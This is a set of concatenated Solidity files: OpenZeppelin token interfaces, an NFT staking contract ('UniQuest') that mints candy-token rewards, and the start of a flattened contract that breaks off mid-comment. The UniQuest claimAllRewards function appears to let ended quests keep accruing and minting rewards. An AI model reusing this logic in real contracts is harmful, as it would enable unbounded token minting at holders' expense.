* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
import "./interfaces/IUninterestedUnicorns.sol";
import "./interfaces/ICandyToken.sol";
contract UniQuest is
AccessControlUpgradeable,
ERC721HolderUpgradeable,
ReentrancyGuardUpgradeable
{
using SafeMathUpgradeable for uint256;
using CountersUpgradeable for CountersUpgradeable.Counter;
struct Quest {
address questOwner;
uint256 questLevel;
uint256 questStart;
uint256 questEnd;
uint256 lastClaim;
uint256 clanMultiplier;
uint256 rareMultiplier;
uint256 lengthMultiplier;
uint256[] unicornIds;
QuestState questState;
}
struct ClanCounter {
uint8 airCount;
uint8 earthCount;
uint8 fireCount;
uint8 waterCount;
uint8 darkCount;
uint8 pureCount;
}
// Enums
enum Clans {
AIR,
EARTH,
FIRE,
WATER,
DARK,
PURE
}
enum QuestState {
IN_PROGRESS,
ENDED
}
IUninterestedUnicorns public UU;
ICandyToken public UCD;
uint256 public baseReward;
uint256 public baseRoboReward;
uint256 public baseGoldenReward;
uint256 private timescale;
uint256[] public clanMultipliers;
uint256[] public rareMultipliers;
uint256[] public lengthMultipliers;
uint256[] public questLengths;
bytes public clans;
mapping(uint256 => Quest) public quests;
mapping(address => uint256[]) public userQuests; // Maps user address to questIds
mapping(uint256 => uint256) public onQuest; // Maps tokenId to QuestId (0 = not questing)
mapping(uint256 => uint256) clanCounter;
mapping(uint256 => bool) private isRoboUni;
mapping(uint256 => bool) private isGoldenUni;
mapping(uint256 => uint256) private HODLLastClaim;
// Private Variables
CountersUpgradeable.Counter private _questId;
bool private initialized;
// Reserve Storage
uint256[50] private ______gap;
// Events
event QuestStarted(
address indexed user,
uint256 questId,
uint256[] unicornIds,
uint256 questLevel,
uint256 questStart,
uint256 questEnd
);
event QuestEnded(address indexed user, uint256 questId, uint256 endDate);
event RewardClaimed(
address indexed user,
uint256 amount,
uint256 claimTime
);
event QuestUpgraded(
address indexed user,
uint256 questId,
uint256 questLevel
);
// Modifiers
modifier onlyAdmin() {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UninterestedUnicorns: OnlyAdmin"
);
_;
}
function __UniQuest_init(
address uu,
uint256 _baseReward,
uint256 _baseRoboReward,
uint256 _baseGoldenReward,
address deployer,
address treasury
) public initializer {
require(!initialized, "Contract instance has already been initialized");
__AccessControl_init();
__ReentrancyGuard_init();
__ERC721Holder_init();
// Constructor init
_setupRole(DEFAULT_ADMIN_ROLE, deployer); // To revoke access after functions are set
grantRole(DEFAULT_ADMIN_ROLE, treasury);
baseReward = _baseReward;
baseRoboReward = _baseRoboReward;
baseGoldenReward = _baseGoldenReward;
UU = IUninterestedUnicorns(uu);
clanMultipliers = [10000, 10000, 10200, 10400, 10600, 11000];
rareMultipliers = [10000, 10200, 10400, 10600, 10800, 11000];
lengthMultipliers = [10000, 10500, 11000];
questLengths = [30 days, 90 days, 180 days];
timescale = 1 days;
initialized = true;
}
// ------------------------- USER FUNCTION ---------------------------
/// @dev Start quest. questLevels = 0,1,2
/// @notice Sends U_Us (max. 5) on a quest, U_Us of the same clan and if rare will get a bonus multiplier!
function startQuest(uint256[] memory unicornIds, uint256 questLevel)
public
{
require(
areOwned(unicornIds),
"UniQuest: One or More Unicorns are not owned by you!"
);
require(questLevel <= 2, "UniQuest: Invalid Quest Level!");
require(unicornIds.length <= 5, "UniQuest: Maximum of 5 U_U only!");
require(unicornIds.length > 0, "UniQuest: At least 1 U_U required!");
_questId.increment();
_lockTokens(unicornIds);
for (uint256 i = 0; i < unicornIds.length; i++) {
onQuest[unicornIds[i]] = _questId.current();
}
uint256 _clanMultiplier;
uint256 _rareMultiplier;
(_clanMultiplier, _rareMultiplier) = calculateMultipliers(unicornIds);
Quest memory _quest = Quest(
msg.sender, // address questOwner
questLevel, // uint256 questLevel;
block.timestamp, // uint256 questStart;
block.timestamp.add(questLengths[questLevel]), // uint256 questEnd;
block.timestamp, // uint256 lastClaim;
_clanMultiplier, // uint256 clanMultiplier;
_rareMultiplier, // uint256 rareMultiplier;
lengthMultipliers[questLevel], // uint256 lengthMultiplier;
unicornIds, // uint256[] unicornIds;
QuestState.IN_PROGRESS // QuestState questState;
);
quests[_questId.current()] = _quest;
userQuests[msg.sender].push(_questId.current());
emit QuestStarted(
msg.sender,
_questId.current(),
unicornIds,
questLevel,
block.timestamp,
block.timestamp.add(questLengths[questLevel])
);
}
/// @dev Start quest. questLevels = 0,1,2
/// @notice Sends U_Us (max. 5) on a quest, U_Us of the same clan and if rare will get a bonus multiplier!
function upgradeQuest(uint256 questId, uint256 questLevel) public {
Quest storage quest = quests[questId];
require(
quest.questOwner == msg.sender,
"UniQuest: Quest not owned by you!"
);
require(questLevel <= 2, "UniQuest: Invalid Quest Level!");
require(
questLevel > quest.questLevel,
"UniQuest: Invalid Quest Level!"
);
// Increase Lockup Duration
quest.questLevel = questLevel;
quest.questEnd = block.timestamp + questLengths[questLevel];
quest.lengthMultiplier = lengthMultipliers[questLevel];
}
/// @dev Claim UCD reward for given quest
function claimRewards(uint256 questId) public nonReentrant {
Quest storage quest = quests[questId];
address questOwner = quest.questOwner;
require(
msg.sender == questOwner,
"UniQuest: Only quest owner can claim candy"
);
require(
quest.questState == QuestState.IN_PROGRESS,
"UniQuest: Quest has already ended!"
);
uint256 rewards = calculateRewards(questId);
UCD.mint(questOwner, rewards);
quest.lastClaim = block.timestamp;
emit RewardClaimed(msg.sender, rewards, block.timestamp);
}
/// @dev QOL to claim all rewards
function claimAllRewards() public nonReentrant {
uint256[] memory questIds = getUserQuests(msg.sender);
uint256 totalRewards = 0;
Quest storage quest;
for (uint256 i = 0; i < questIds.length; i++) {
totalRewards = totalRewards.add(calculateRewards(questIds[i]));
quest = quests[questIds[i]];
quest.lastClaim = block.timestamp;
}
UCD.mint(msg.sender, totalRewards);
}
/// @dev Claim HODLing Rewards for owned pure U_Us
/// @notice You can only claim HODL rewards for your owned pure U_Us
function claimHODLRewards(uint256[] memory tokenIds) public nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
require(
UU.ownerOf(tokenIds[i]) == msg.sender,
"UniQuest: Not Owner of token"
);
}
uint256 totalRewards = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
totalRewards += calculateHODLReward(tokenIds[i]);
HODLLastClaim[tokenIds[i]] = block.timestamp;
}
UCD.mint(msg.sender, totalRewards);
}
/// @dev Claim tokens and leave quest
/// @notice End quest for U_Us. You will stop acumulating UCD.
function endQuest(uint256 questId) public {
// Only Quest Owner
require(
msg.sender == quests[questId].questOwner,
"UniQuest: Not the owner of quest"
);
// Current Time > Quest End Time
require(
isQuestEndable(questId),
"UniQuest: Unicorns are still questing!"
);
// Must be questing state
require(
quests[questId].questState == QuestState.IN_PROGRESS,
"UniQuest: Quest already Ended"
);
// Distribute Remaining Rewards
claimRewards(questId);
// Unlock Tokens
_unlockTokens(quests[questId].unicornIds);
// Change Quest State such that further claims cannot be made
quests[questId].questState = QuestState.ENDED;
emit QuestEnded(msg.sender, questId, block.timestamp);
}
// ----------------------- View FUNCTIONS -----------------------
/// @dev Determines if quest is ended
function isQuestEndable(uint256 questId) public view returns (bool) {
return block.timestamp > quests[questId].questEnd;
}
/// @dev Retrieves clan multiplier
function getClanMultiplier(uint256 clanCount)
public
view
returns (uint256)
{
return clanMultipliers[clanCount];
}
/// @dev Retrieves Rare multiplier
function getRareMultiplier(uint256 rareCount)
public
view
returns (uint256)
{
return rareMultipliers[rareCount];
}
/// @dev Retrieves Length multiplier
function getLengthMultiplier(uint256 questLevel)
public
view
returns (uint256)
{
return lengthMultipliers[questLevel];
}
/// @dev Calculates Clan Multiplier based on tokenIds
function calculateMultipliers(uint256[] memory _tokenIds)
internal
view
returns (uint256 _clanMultiplier, uint256 _rareMultiplier)
{
uint8[6] memory _clanCounter = [0, 0, 0, 0, 0, 0];
uint8 maxCount = 0;
uint8 maxIndex;
uint256 rareCount = 0;
// Count UU per clan
for (uint8 i = 0; i < _tokenIds.length; i++) {
_clanCounter[getClan(_tokenIds[i]) - 1] += 1;
}
// Find Maximum Count and Index of Max Count
for (uint8 i = 0; i < _clanCounter.length; i++) {
if (_clanCounter[i] > maxCount) {
maxCount = _clanCounter[i];
maxIndex = i;
}
}
// Wildcard bonus
if (maxIndex < 4) {
maxCount += _clanCounter[5];
}
_clanMultiplier = getClanMultiplier(maxCount);
rareCount = rareCount.add(_clanCounter[4]).add(_clanCounter[5]);
_rareMultiplier = getRareMultiplier(rareCount);
}
/// @dev Calulate HODLing rewards for tokenIds given
function calculateHODLRewards(uint256[] memory tokenIds)
public
view
returns (uint256 HODLRewards)
{
HODLRewards = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (isGoldenUni[tokenIds[i]]) {
HODLRewards = HODLRewards.add(
baseGoldenReward.mul(calcGoldenDuration(tokenIds[i])).div(
timescale
)
);
} else if (isRoboUni[tokenIds[i]]) {
HODLRewards = HODLRewards.add(
baseRoboReward.mul(calcRoboDuration(tokenIds[i])).div(
timescale
)
);
}
}
}
/// @dev Calulate HODLing rewards for tokenId
function calculateHODLReward(uint256 tokenId)
public
view
returns (uint256 HODLRewards)
{
if (isGoldenUni[tokenId]) {
HODLRewards = baseGoldenReward.mul(calcGoldenDuration(tokenId)).div(
timescale
);
} else if (isRoboUni[tokenId]) {
HODLRewards = baseRoboReward.mul(calcRoboDuration(tokenId)).div(
timescale
);
}
}
/// @dev Calculate duration since last claim for golden U_Us
function calcGoldenDuration(uint256 tokenId)
private
view
returns (uint256)
{
return block.timestamp.sub(HODLLastClaim[tokenId]);
}
/// @dev Calculate duration since last claim for UniMech U_Us
function calcRoboDuration(uint256 tokenId) private view returns (uint256) {
return block.timestamp.sub(HODLLastClaim[tokenId]);
}
/// @dev Caluclate rewards for given Quest Id
function calculateRewards(uint256 questId)
public
view
returns (uint256 rewardAmount)
{
Quest memory quest = quests[questId];
rewardAmount = baseReward
.mul(block.timestamp.sub(quest.lastClaim))
.mul(quest.unicornIds.length)
.mul(quest.clanMultiplier)
.mul(quest.rareMultiplier)
.mul(quest.lengthMultiplier)
.div(timescale)
.div(1000000000000);
}
/// @dev Determines if the tokenIds are availiable for questing
function areAvailiable(uint256[] memory tokenIds)
public
view
returns (bool out)
{
out = true;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (onQuest[tokenIds[i]] > 0) {
out = false;
}
}
}
/// @dev Determines if the all tokenIds are owned by msg sneder
function areOwned(uint256[] memory tokenIds)
public
view
returns (bool out)
{
out = true;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (UU.ownerOf(tokenIds[i]) != msg.sender) {
out = false;
}
}
}
function getUserQuests(address user)
public
view
returns (uint256[] memory)
{
return userQuests[user];
}
function getQuest(uint256 questId) public view returns (Quest memory) {
return quests[questId];
}
function isQuestOver(uint256 questId) public view returns (bool) {
Quest memory quest = quests[questId];
return block.timestamp > quest.questEnd;
}
function getClan(uint256 tokenId) public view returns (uint8) {
return uint8(clans[tokenId - 1]);
}
// ---------------------- ADMIN FUNCTIONS -----------------------
function setBaseReward(uint256 _amount) public onlyAdmin {
baseReward = _amount;
}
function setRoboReward(uint256 _amount) public onlyAdmin {
baseRoboReward = _amount;
}
function setGoldenReward(uint256 _amount) public onlyAdmin {
baseGoldenReward = _amount;
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function setRoboIds(uint256[] memory _roboTokenIds) public onlyAdmin {
for (uint256 i = 0; i < _roboTokenIds.length; i++) {
isRoboUni[_roboTokenIds[i]] = true;
HODLLastClaim[_roboTokenIds[i]] = block.timestamp;
}
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function setGoldenIds(uint256[] memory _goldenTokenIds) public onlyAdmin {
for (uint256 i = 0; i < _goldenTokenIds.length; i++) {
isGoldenUni[_goldenTokenIds[i]] = true;
HODLLastClaim[_goldenTokenIds[i]] = block.timestamp;
}
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function updateClans(bytes calldata _clans) public onlyAdmin {
clans = _clans;
}
function setUniCandy(address uniCandy) public onlyAdmin {
UCD = ICandyToken(uniCandy);
}
function setTimeScale(uint256 _newTimescale) public onlyAdmin {
timescale = _newTimescale;
}
function transferQuestOwnership(uint256 questId, address newOwner)
public
onlyAdmin
{
Quest storage quest = quests[questId];
quest.questOwner = newOwner;
}
function setQuestLengths(uint256[] memory _newQuestLengths)
public
onlyAdmin
{
questLengths = _newQuestLengths;
}
function _lockTokens(uint256[] memory tokenIds) private {
for (uint256 i; i < tokenIds.length; i++) {
UU.safeTransferFrom(msg.sender, address(this), tokenIds[i]);
}
}
function _unlockTokens(uint256[] memory tokenIds) private {
for (uint256 i; i < tokenIds.length; i++) {
UU.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
// reset last claim for HODL rewards
HODLLastClaim[tokenIds[i]] = block.timestamp;
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ICandyToken is IERC20 {
function updateRewardOnMint(address _user, uint256 _amount) external;
function updateReward(address _from, address _to) external;
function getReward(address _to) external;
function burn(address _from, uint256 _amount) external;
function mint(address to, uint256 amount) external;
function getTotalClaimable(address _user) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
interface IUninterestedUnicorns is IERC721 {
function mint(uint256 _quantity) external payable;
function getPrice(uint256 _quantity) external view returns (uint256);
function totalSupply() external view returns (uint256);
function lockTokens(uint8[] memory tokenId) external;
function unlockTokens(uint8[] memory tokenId) external;
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|
// SPDX-License-Identifier: MIT
// File: 0xdoodles_flat.sol
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
